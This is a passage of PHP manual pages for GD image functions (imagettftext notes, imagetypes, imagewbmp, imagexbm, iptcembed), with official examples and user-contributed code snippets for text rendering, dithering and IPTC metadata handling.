I've found that upsampling your text by a factor of 8 or more can really improve the readability of generated text, especially in smaller font sizes (9 or less). I find it also helps with fonts that have kerning to reduce space between letters such as capital T and capital A (TA) where the top-right of the T will be cut off due to GD "features".

I can't tell you, the reader, exactly how to do this, as it will depend on how you are currently generating your text, but essentially what you want to try doing is upsize your font by a factor of 8 and then scale down the resulting image by the same factor.

So if you were using font size 10, use font size 80 and use imagecopyresampled() to divide the width/height down again by 8. The resulting image will be a few pixels different in width / height compared to direct text writing, so make sure to check your image sizes if you are using fixed dimensions.

Play around with other factors, 16 is a bit nicer but results in a higher CPU/RAM load when processing. Any higher is unnecessary I think. If possible you should also cache the image to a file instead of reprocessing it each request.
Mer`Zikain 10-Jan-2006 12:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
        // Get single character
    $value=substr($text,$i,1);
    if($pval){ // check for existing previous character
        list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
        $nxpos+=$rx+3;
    }else{
        $nxpos=0;
    }
        // Add the letter to the image
    imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
    $pval=$value; // save current character for next loop
}
a4W 23-Oct-2005 12:28
This function will make your text bold:
<?php
function drawboldtext($image, $size, $angle, $x_cord, $y_cord, $r, $g, $b, $fontfile, $text)
{
   $color = ImageColorAllocate($image, $r, $g, $b);
   $_x = array(1, 0, 1, 0, -1, -1, 1, 0, -1);
   $_y = array(0, -1, -1, 0, 0, -1, 1, 1, 1);
   for($n=0;$n<=8;$n++)
   {
      ImageTTFText($image, $size, $angle, $x_cord+$_x[$n], $y_cord+$_y[$n], $color, $fontfile, $text);
   }
}
?>
limalopex.eisfux.de 03-Oct-2005 09:17
If you have problems displaying german umlauts or other chars with an ascii value > 127, try to convert the text-parameter first. The following function converts character-values > 127 (both: UTF-8 + ANSI) to HTML's numeric coded entities:

<?php
define('EMPTY_STRING', '');

function foxy_utf8_to_nce(
  $utf = EMPTY_STRING
) {
  if($utf == EMPTY_STRING) return($utf);

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = EMPTY_STRING;
  for($str_pos = 0; $str_pos < strlen($utf); $str_pos++) {
    $old_chr = $utf{$str_pos};
    $old_val = ord( $utf{$str_pos} );
    $new_val = 0;

    $utf8_marker = 0;

    // skip non-utf-8-chars
    if( $old_val > 127 ) {
      $mark = $max_mark;
      for($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
        // actual byte is utf-8-marker?
        if( ( $old_val & $mark  ) == ( ($mark << 1) & 255 ) ) {
          $utf8_marker = $byte_ctr - 1;
          break;
        }
        $mark = ($mark << 1) & 255;
      }
    }

    // marker found: collect following bytes
    if($utf8_marker > 1 and isset( $utf{$str_pos + 1} ) ) {
      $str_off = 0;
      $new_val = $old_val & (127 >> $utf8_marker);
      for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {

        // check if following chars are UTF8 additional data blocks
        // UTF8 and ord() > 127
        if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
          $new_val = $new_val << 6;
          $str_off++;
          // no need for Addition, bitwise OR is sufficient
          // 63: more UTF8-bytes; 0011 1111
          $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
        }
        // no UTF8, but ord() > 127
        // nevertheless convert first char to NCE
        else {
          $new_val = $old_val;
        }
      }
      // build NCE-Code
      $html .= '&#'.$new_val.';';
      // Skip additional UTF-8-Bytes
      $str_pos = $str_pos + $str_off;
    }
    else {
      $html .= chr($old_val);
      $new_val = $old_val;
    }
  }
  return($html);
}
?>
alexey at NOSPAMPLS dot ozerov dot de 31-Aug-2005 12:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru 10-Aug-2005 09:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
    //  iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
BuddyHacker 21-Jul-2005 02:55
A correction to Paul Reinheimer's note above regarding this PHP error:

Fatal error: Call to undefined function imagettftext().

Paul states that you need XPM libraries to resolve this issue.  This is not true.  There is an error message that originates from "configure" which mistakenly shows itself when other components are missing.  For instance, if you tell "configure" to add JPEG support, and it can't find the libraries, it will tell you it can't find the JPEG libraries AND it will recommend adding --with-xpm to solve the problem.  This recommendation is ill-placed and misleading.

I received the same error message above, along with the recommendation to add XPM supprt.  However I resolved it by adding the --with-freetype-dir  AND --enable-gd-native-ttf  options  to the "configure" command line.  I did _not_ need XPM.

There are other variations to this error message, such as the script recommending adding JPEG support or PNG support to resolve it's own inability to locate other libraries.  The script needs some cleanup in order to fix these poorly placed recommendations.

FYI, imagettftext() is a call to one of the truetype fonts functions.  It is NOT related in any way to the XPM libraries, so it is not required unless you explicitly want XPM functionality.
nick 01-Apr-2005 01:18
A trivial function to get right or centre aligned horizontal text:

function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L') {

    //check width of the text
    $bbox = imagettfbbox ($size, $angle, $font, $text);
    $textWidth = $bbox[2] - $bbox[0];
    switch ($alignment) {
        case "R":
            $x -= $textWidth;
            break;
        case "C":
            $x -= $textWidth / 2;
            break;
    }

    //write text
    imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
erik[at]phpcastle.com 04-Mar-2005 04:46
Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de 12-Jan-2005 05:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
        // Put center-rotated ttf-text into image
        // Same signature as imagettftext();
        function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);

            // calculate deviation
            $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;         // deviation left-right
            $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }

?>

Big up
Phil
Paul Reinheimer 20-Sep-2004 03:33
If you compiled PHP yourself but get an error:
Fatal error: Call to undefined function imagettftext().

You need to compile PHP with more options.

--with-gd
--enable-gd-native-ttf
--with-png
--with-zlib-dir=/usr/local/lib/zlib-1.2.1
--with-ttf
--with-jpeg-dir=/usr/local/lib/jpeg-6b/
--with-freetype-dir=/usr/local/lib/freetype-2.1.9/
--with-xpm-dir=/usr/X11R6/

The next set deal with setting up GD, and the appropriate options. Just enabling GD, ttf, png & jpeg is NOT enough. You also need Freetype and XPM.
plusplus7 at hotmail dot com 15-Jul-2004 01:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.
02-Dec-2002 11:13
If you have an older version of the GD library, but wish to use a font file which has spaces in the path, you should convert the path into DOS style names. This will only work on windows.

For example:
C:\reallylongpath\reallylongpath\font.ttf
Would become:
C:\really~1\really~1\font.ttf
imagettfbbox
imagetypes
GD and Image Functions


Return the image types supported by this PHP build

imagettftext
imagewbmp
GD and Image Functions
PHP Manual

imagetypes

(PHP 4 >= 4.0.2, PHP 5)

imagetypes — Return the image types supported by this PHP build

Description

int imagetypes ( void )

Returns the image types supported by the current PHP installation.

Return Values

Returns a bit-field corresponding to the image formats supported by the version of GD linked into PHP. The following bits are returned, IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM.

Examples

Example #1 Checking for PNG support

<?php
if (imagetypes() & IMG_PNG) {
    echo "PNG Support is enabled";
}
?>

User Contributed Notes

ThunderCrew 30-Jul-2007 07:38
Im not a smart man but this seemd to be the simplest code and it worked.
Its at the very top of this directory.

<?php
var_dump(gd_info());
?>

Returned image info and more.

array(11) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(false) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }
enyo 05-Nov-2003 07:32
Why not use this function?

<?php
function getSupportedImageTypes() {
    $aSupportedTypes = array();

    $aPossibleImageTypeBits = array(
        IMG_GIF=>'GIF',
        IMG_JPG=>'JPG',
        IMG_PNG=>'PNG',
        IMG_WBMP=>'WBMP'
    );

    foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) {
        if (imagetypes() & $iImageTypeBits) {
            $aSupportedTypes[] = $sImageTypeString;
        }
    }

    return $aSupportedTypes;
}
?>
jocke at selincite dot IHATESP4M dot com 16-Oct-2003 02:56
I wrote this function that returns an array with the supported image types

<?php
function getSupportedImageTypes() {
        $aSupportedTypes = array();

        $aPossibleImageTypeBits = array(
                "IMG_GIF",
                "IMG_JPG",
                "IMG_PNG",
                "IMG_WBMP"
            );

        foreach ($aPossibleImageTypeBits as $iIndex => $sImageTypeBits) {

            $sEval  = "if (";
            $sEval .= "imagetypes() & " . $sImageTypeBits . "";
            $sEval .= ") { return TRUE; } else { return FALSE; }";

            if (eval($sEval)) {
                $aSupportedTypes[] = str_replace("IMG_", "", $sImageTypeBits);
            }
        }

        return $aSupportedTypes;
    }
?>
Hope that helps someone :)

/Jocke Selin

PS, if you know of a better way that doesn't include eval(), please let me know.
jaldinger (at) consulturdorado (dot) com 08-Jan-2003 12:31
Please note that if only "GIF Read Support" is enabled, the
IMG_GIF bit will not be returned (at least on my system:
PHP 4.3.0/RH Linux 7.2).

To work around this issue, and also the issue that there is no
function that can tell me what image format a GD resource ID
refers to, I use the following switch statement to map the exif
IMAGETYPE_* constants to the GD IMG_* constants:

switch (exif_imagetype($file['tmp_name'])) {
    case IMAGETYPE_GIF:
        $image_type = IMG_GIF;
        break;
    case IMAGETYPE_JPEG:
        $image_type = IMG_JPG;
        break;
    case IMAGETYPE_PNG:
        $image_type = IMG_PNG;
        break;
    case IMAGETYPE_WBMP:
        $image_type = IMG_WBMP;
        break;
     default:
        $image_type = 0;
        break;
}

store this value together with the image data in a database
and later use the following IF statement to see if I can work
with that image (create a thumbnail, etc...)

if ($image_type & (imagetypes() | IMG_GIF)) {
    return $this->createJpegThumbailFromString($data, 46, 27);
} else {
    return file_get_contents($_SERVER['DOCUMENT_ROOT'] .
        '/gfx/no-thumbnail.jpg');
}

HTH anybody...

Joerg.
imagettftext
imagewbmp
GD and Image Functions


Output image to browser or file

imagetypes
imagexbm
GD and Image Functions
PHP Manual

imagewbmp

(PHP 4 >= 4.0.1, PHP 5)

imagewbmp — Output image to browser or file

Description

bool imagewbmp ( resource $image [, string $filename [, int $foreground ]] )

imagewbmp() outputs or save a WBMP version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

foreground

You can set the foreground color with this parameter by setting an identifier obtained from imagecolorallocate(). The default foreground color is black.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a WBMP image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/vnd.wap.wbmp
// Hint: see image_type_to_mime_type() for content-types
header('Content-Type: image/vnd.wap.wbmp');

// Output the image
imagewbmp($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving the WBMP image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image
imagewbmp($im, 'simpletext.wbmp');

// Free up memory
imagedestroy($im);
?>

Example #3 Outputting the image with a different foreground

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/vnd.wap.wbmp
// Hint: see image_type_to_mime_type() for content-types
header('Content-Type: image/vnd.wap.wbmp');

// Set a replacement foreground color
$foreground_color = imagecolorallocate($im, 255, 0, 0);

imagewbmp($im, NULL, $foreground_color);

// Free up memory
imagedestroy($im);
?>

Notes

Note:

WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • image2wbmp() - Output image to browser or file
  • imagepng() - Output a PNG image to either the browser or a file
  • imagegif() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

andre at bynetworld dot com 19-Dec-2007 05:31
In the previous note by -> lukeross at sys3175 dot co dot uk <- there is a coding error in the for() loops. After correcting the error, I found that this function did a great job of  converting color images to 2 colors.
The following is the corrected function code:

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $isx = ImageSX($src_img);
    $isy = ImageSY($src_img);
    $grey_img = ImageCreate($isx, $isy);
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    $isx -= 1; // To correct pixel count in source image width starting from 0
    $isy -= 1; // Correcting pixel count in source image height starting from 0
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != $isx) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != $isx && $y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}
lukeross at sys3175 dot co dot uk 28-Feb-2002 01:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != ImageSx($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));
imagetypes
imagexbm
GD and Image Functions


Output XBM image to browser or file

imagewbmp
iptcembed
GD and Image Functions
PHP Manual

imagexbm

(PHP 5)

imagexbm — Output XBM image to browser or file

Description

bool imagexbm ( resource $image , string $filename [, int $foreground ] )

Outputs or save an XBM version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

foreground

You can set the foreground color with this parameter by setting an identifier obtained from imagecolorallocate(). The default foreground color is black.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Saving an XBM file

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image
imagexbm($im, 'simpletext.xbm');

// Free up memory
imagedestroy($im);
?>

Example #2 Saving an XBM file with a different foreground color

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set a replacement foreground color
$foreground_color = imagecolorallocate($im, 255, 0, 0);

// Save the image
imagexbm($im, NULL, $foreground_color);

// Free up memory
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

User Contributed Notes

Anonymous 26-May-2011 01:17
FlagCreation with some random text inside.

<?php
class Logo{
    private $colors;
        private $imgWidth;
    private $imgHeight;
    private $img;
    private $text;

    public function __construct($width = 100, $height = 60){
        $this->imgWidth = $width;
        $this->imgHeight = $height;
        $this->text = "RND TEXT";
        $this->createImage();
    }

    public function getText(){
        return $this->text;
    }

    public function createImage(){
        $this->img = imagecreatetruecolor($this->imgWidth,$this->imgHeight);
            $farbe = array(200,200,200);
            $this->colors[0] = $this->makeColor($farbe);
            $farbe = array(100,100,200);
            $this->colors[1] = $this->makeColor($farbe);

        imagefill($this->img,0,0,$this->colors[0]);

        $streifenhoehe = intval($this->imgHeight / 6);
        $textgroesse = intval($streifenhoehe *2);
        $y = 0;
        $x = 0;

        imagefilledrectangle($this->img,0,0,$this->imgWidth,$streifenhoehe,$this->colors[1]);
        $y = $this->imgHeight - $streifenhoehe;
        imagefilledrectangle($this->img,0,$y,$this->imgWidth,$this->imgHeight,$this->colors[1]);

        $textma = imagettfbbox ( $textgroesse ,0 , "ARIAL.TTF", $this->text);
        $textanfang = ($this->imgWidth - ($textma[2] - $textma[0]))/2;
        $textanfang_hoehe = intval(($this->imgHeight-($textma[7]-$textma[1]))/2);

         imagettftext($this->img, $textgroesse,0,$textanfang, $textanfang_hoehe, $this->colors[1],"ARIAL.TTF", $this->text);

    }

    public function makeColor($color){
        if (count($color)%3 != 0)
            return false;
        else
            return imagecolorallocate($this->img,$color[0],$color[1],$color[2]);
    }

    public function getImage(){
         header('Content-Type: image/gif', true);
        imagejpeg($this->img);
    }
}

$logo = new Logo(300,180);
$logo->getImage();
?>
imagewbmp
iptcembed
GD and Image Functions


Embeds binary IPTC data into a JPEG image

imagexbm
iptcparse
GD and Image Functions
PHP Manual

iptcembed

(PHP 4, PHP 5)

iptcembed — Embeds binary IPTC data into a JPEG image

Description

mixed iptcembed ( string $iptcdata , string $jpeg_file_name [, int $spool ] )

Embeds binary IPTC data into a JPEG image.

Parameters

iptcdata

The data to be written.

jpeg_file_name

Path to the JPEG image.

spool

Spool flag. If the spool flag is over 2 then the JPEG will be returned as a string.

Return Values

If success and spool flag is lower than 2 then the JPEG will not be returned as a string, FALSE on errors.

Examples

Example #1 Embedding IPTC data into a JPEG

<?php

// iptc_make_tag() function by Thies C. Arntzen
function iptc_make_tag($rec, $data, $value)
{
    $length = strlen($value);
    $retval = chr(0x1C) . chr($rec) . chr($data);

    if($length < 0x8000)
    {
        $retval .= chr($length >> 8) .  chr($length & 0xFF);
    }
    else
    {
        $retval .= chr(0x80) .
                   chr(0x04) .
                   chr(($length >> 24) & 0xFF) .
                   chr(($length >> 16) & 0xFF) .
                   chr(($length >> 8) & 0xFF) .
                   chr($length & 0xFF);
    }

    return $retval . $value;
}

// Path to jpeg file
$path = './phplogo.jpg';

// We need to check if theres any IPTC data in the jpeg image. If there is then
// bail out because we cannot embed any image that already has some IPTC data!
$image = getimagesize($path, $info);

if(isset($info['APP13']))
{
    die('Error: IPTC data found in source image, cannot continue');
}

// Set the IPTC tags
$iptc = array(
    '2#120' => 'Test image',
    '2#116' => 'Copyright 2008-2009, The PHP Group'
);

// Convert the IPTC tags into binary code
$data = '';

foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}

// Embed the IPTC data
$content = iptcembed($data, $path);

// Write the new image data out to the file.
$fp = fopen($path, "wb");
fwrite($fp, $content);
fclose($fp);
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

micheall at inthemdl dot net 29-May-2011 05:00
While using the class file noted below you'll notice setting an array of keywords with the set() function will not work.  Try this instead:
<?php
        function set($tag, $data) {
            if(is_array($data)){
                $c = count($data);
                for ($i=0; $i <$c; $i++){
                       $this->meta["2#$tag"][$i] = $data[$i];
                }
                $this->hasmeta=true;
            } else {
                $this->meta["2#$tag"]= Array( $data );
                $this->hasmeta=true;
            }
        }
?>
Jarek Milewski 22-Apr-2011 03:37
To remove all EXIF, XMP etc. tags from a jpeg file you need no resampling (which, by the way, may give you memory problems). It's just enough to recreate the image, presumably with 100% quality in order not to loose anything. The code is as simple as that:

<?php
    $img = imagecreatefromjpeg ($path);
    imagejpeg ($img, $path, 100);
    imagedestroy ($img);
?>
soporte at etic dot com dot mx 28-Mar-2011 06:50
I just found an error while trying to write several keywords (an array) with the binary function... please consider using the following:

<?php
function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                if(count($this->meta[$s])>1){
                    foreach ($this->meta[$s] as $row){
                        $iptc_new .= $this->iptc_maketag(2, $tag, $row);
                    }
                }else {
                    $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
                }
            }
            return $iptc_new;
        }
?>
Christoph Tavan 16-Dec-2010 03:30
For everybody having issues with unicode (UTF-8) text in IPTC fields, set the "Coded Character Set"-field in the envelop (1:90, see http://www.iptc.org/std/IIM/4.1/specification/IIMV4.1.pdf).

This can be accomplished by starting the $data-block with the following lines:

<?php
// These two lines ensure that UTF8-Encoding will work (set the 1:90 field in the envelop)
// @see http://cpanforum.com/threads/2114 for a hint
$utf8seq = chr(0x1b) . chr(0x25) . chr(0x47);
$length = strlen($utf8seq);
$data = chr(0x1C) . chr(1) . chr('090') . chr($length >> 8) . chr($length & 0xFF) . $utf8seq;
?>

After that you can continue like in the example:

<?php
foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}
?>
critto at o2 dot pl 14-Jul-2010 06:25
If you want just to copy the IPTC data, eg. at the thumbnail creation, you don't have to parse the binary IPTC data into array and back; just do this:

<?php
$fullFilePath='photo1.jpg';
$fullPathThumb = 'photo1thumb.jpg';
$imagesize        =    getImageSize($fullFilePath, $info);
if(isset($info['APP13'])){
    $content    =    iptcembed($info['APP13'], $fullPathThumb);
   @unlink($fullPathThumb);
   $fw = fopen($fullPathThumb, 'w');
   fwrite($fw, $content);
   fclose($fw);
}
?>
support at image-host-script dot com 22-Sep-2008 11:39
A class I recently wrote for manipulating IPTC data in an jpeg images. It does the job for editing exisiting data too, in easy manner. It is just a compilation of examples into single class.

<?

    /************************************************************\

        IPTC EASY 1.0 - IPTC data manipulator for JPEG images

        All reserved www.image-host-script.com

        Sep 15, 2008

    \************************************************************/

    DEFINE('IPTC_OBJECT_NAME', '005');
    DEFINE('IPTC_EDIT_STATUS', '007');
    DEFINE('IPTC_PRIORITY', '010');
    DEFINE('IPTC_CATEGORY', '015');
    DEFINE('IPTC_SUPPLEMENTAL_CATEGORY', '020');
    DEFINE('IPTC_FIXTURE_IDENTIFIER', '022');
    DEFINE('IPTC_KEYWORDS', '025');
    DEFINE('IPTC_RELEASE_DATE', '030');
    DEFINE('IPTC_RELEASE_TIME', '035');
    DEFINE('IPTC_SPECIAL_INSTRUCTIONS', '040');
    DEFINE('IPTC_REFERENCE_SERVICE', '045');
    DEFINE('IPTC_REFERENCE_DATE', '047');
    DEFINE('IPTC_REFERENCE_NUMBER', '050');
    DEFINE('IPTC_CREATED_DATE', '055');
    DEFINE('IPTC_CREATED_TIME', '060');
    DEFINE('IPTC_ORIGINATING_PROGRAM', '065');
    DEFINE('IPTC_PROGRAM_VERSION', '070');
    DEFINE('IPTC_OBJECT_CYCLE', '075');
    DEFINE('IPTC_BYLINE', '080');
    DEFINE('IPTC_BYLINE_TITLE', '085');
    DEFINE('IPTC_CITY', '090');
    DEFINE('IPTC_PROVINCE_STATE', '095');
    DEFINE('IPTC_COUNTRY_CODE', '100');
    DEFINE('IPTC_COUNTRY', '101');
    DEFINE('IPTC_ORIGINAL_TRANSMISSION_REFERENCE',     '103');
    DEFINE('IPTC_HEADLINE', '105');
    DEFINE('IPTC_CREDIT', '110');
    DEFINE('IPTC_SOURCE', '115');
    DEFINE('IPTC_COPYRIGHT_STRING', '116');
    DEFINE('IPTC_CAPTION', '120');
    DEFINE('IPTC_LOCAL_CAPTION', '121');

    class iptc {
        var $meta=Array();
        var $hasmeta=false;
        var $file=false;

        function iptc($filename) {
            $size = getimagesize($filename,$info);
            $this->hasmeta = isset($info["APP13"]);
            if($this->hasmeta)
                $this->meta = iptcparse ($info["APP13"]);
            $this->file = $filename;
        }
        function set($tag, $data) {
            $this->meta ["2#$tag"]= Array( $data );
            $this->hasmeta=true;
        }
        function get($tag) {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : false;
        }

        function dump() {
            print_r($this->meta);
        }
        function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
            }
            return $iptc_new;
        }
        function iptc_maketag($rec,$dat,$val) {
            $len = strlen($val);
            if ($len < 0x8000) {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr($len >> 8).
                   chr($len & 0xff).
                   $val;
